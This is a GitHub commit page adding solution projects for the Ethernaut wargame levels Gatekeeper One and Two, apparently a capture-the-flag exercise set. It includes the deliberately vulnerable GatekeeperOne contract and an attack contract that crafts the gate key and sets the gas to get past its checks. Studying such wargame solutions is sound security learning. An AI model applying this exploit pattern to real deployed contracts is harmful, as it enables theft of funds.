Skip to content

Commit

Permalink
Updated and modified files for the project
Browse files Browse the repository at this point in the history
- Added new files:
  - 13-gatekeeper_one_DONE/.gitignore
  - 13-gatekeeper_one_DONE/README.md
  - 13-gatekeeper_one_DONE/ape-config.yaml
  - 13-gatekeeper_one_DONE/contracts/GatekeeperOne.sol
  - 13-gatekeeper_one_DONE/contracts/GatekeeperOneAttack.sol
  - 13-gatekeeper_one_DONE/pyproject.toml
  - 13-gatekeeper_one_DONE/requirements-dev.lock
  - 13-gatekeeper_one_DONE/requirements.lock
  - 13-gatekeeper_one_DONE/scripts/attack.py
  - 14-gatekeeper-two/.gitignore
  - 14-gatekeeper-two/README.md
  - 14-gatekeeper-two/ape-config.yaml
  - 14-gatekeeper-two/pyproject.toml
  - 14-gatekeeper-two/requirements-dev.lock
  - 14-gatekeeper-two/requirements.lock
  - 14-gatekeeper-two/scripts/attack.py
  - 14-gatekeeper-two/src/_14_gatekeeper_two/__init__.py
  • Loading branch information
Aviksaikat committed Jul 19, 2024
1 parent 2595ed8 commit 0995ec7
Show file tree
Hide file tree
Showing 17 changed files with 1,528 additions and 0 deletions.
10 changes: 10 additions & 0 deletions 13-gatekeeper_one_DONE/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
# Ape stuff
.build/
.cache/

# Python
.env
.venv
.pytest_cache
.python-version
__pycache__
3 changes: 3 additions & 0 deletions 13-gatekeeper_one_DONE/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
# 13-gatekeeper-one

Describe your project here.
19 changes: 19 additions & 0 deletions 13-gatekeeper_one_DONE/ape-config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
name: 13_gatekeeper_one
plugins:
- name: solidity
- name: infura
- name: foundry
default_ecosystem: ethereum
ethereum:
default_network: sepolia-fork
sepolia:
default_provider: infura
sepolia_fork:
default_provider: foundry
default_transaction_type: 0
transaction_acceptance_timeout: 600 # 5 minutes
foundry:
fork:
ethereum:
sepolia_fork:
upstream_provider: infura
39 changes: 39 additions & 0 deletions 13-gatekeeper_one_DONE/contracts/GatekeeperOne.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
/*
# Gate 1
bytes8 = 16 hex chars
1 byte = 8 bits
8 bytes = 64 bits
bytes8 _gateKey = uint64(_gateKey) just numerical representation
uint32(uint64(_gateKey) -> truncate first 32 bits i.e. 4 bytes
uint16(uint64(_gateKey) -> truncate first 16 bits i.e. 2 bytes
B1 B2 B3 B4 == 0 0 B3 B4
B1 B2 B3 B4 != 1 0 B3 B4
*/
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
31 changes: 31 additions & 0 deletions 13-gatekeeper_one_DONE/contracts/GatekeeperOneAttack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./GatekeeperOne.sol";

contract GatekeeperOneAttack {
GatekeeperOne private target;

event FoundValue(uint256 value);

function forceEnter(address _addr, uint256 gas) external {
target = GatekeeperOne(_addr);
/*
k = uint64(_gateKey);
1. uint32(k) = uint16(k)
2. uint32(k) != k
4. uint32(k) = uint16(uint160(tx.origin))
*/
// 1. uint32(k) = uint16(k)
uint16 k16 = uint16(uint160(tx.origin));
// 2. uint32(k) != k
// uint64(1) = 0x00000000...1
// uint64(1 << 64) = 0x100000....
uint64 k64 = uint64(1 << 63) + uint64(k16);

bytes8 key = bytes8(k64);

require(gas < 8191, "gas > 8191");
require(target.enter{gas: (8191 * 3) + 150 + gas}(key), "failed");
}
}
26 changes: 26 additions & 0 deletions 13-gatekeeper_one_DONE/pyproject.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
[project]
name = "13-gatekeeper-one"
version = "0.1.0"
description = "Add your description here"
authors = [
{ name = "Aviksaikat", email = "[email protected]" }
]
dependencies = [
"eth-ape>=0.8.9",
]
readme = "README.md"
requires-python = ">= 3.8"

[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"

[tool.rye]
managed = true
dev-dependencies = []

[tool.hatch.metadata]
allow-direct-references = true

[tool.hatch.build.targets.wheel]
packages = ["src/_13_gatekeeper_one"]
Loading

0 comments on commit 0995ec7

Please sign in to comment.